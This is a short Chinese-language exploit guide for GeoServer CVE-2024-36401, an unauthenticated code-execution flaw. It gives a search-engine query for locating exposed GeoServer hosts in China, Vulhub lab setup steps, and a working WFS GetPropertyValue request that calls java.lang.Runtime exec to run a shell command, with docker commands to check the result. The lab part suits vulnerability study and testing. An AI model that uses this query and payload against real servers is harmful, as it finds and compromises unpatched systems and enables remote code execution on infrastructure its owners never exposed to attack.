GeoServer CVE-2024-36401 漏洞利用
搜索语法
app.name=“GeoServer” and ip.country=“CN” and icp.is_exception=“true”
版本属性
在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
靶场环境
建议开一个美国区的云服务器,拉取GitHub和Vulhub方便。
git clone https://github.com/vulhub/vulhub.git
cd vulhub/
cd geoserver/CVE-2024-36401/
docker-compose up -d
访问 http://your-ip:8080/geoserver
查看到GeoServer的默认页面。
POC
GET方法的POC
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
进入容器查看,可以看到成功创建文件。
docker exec -it cve-2024-36401_web_1 /bin/bash
ls /tmp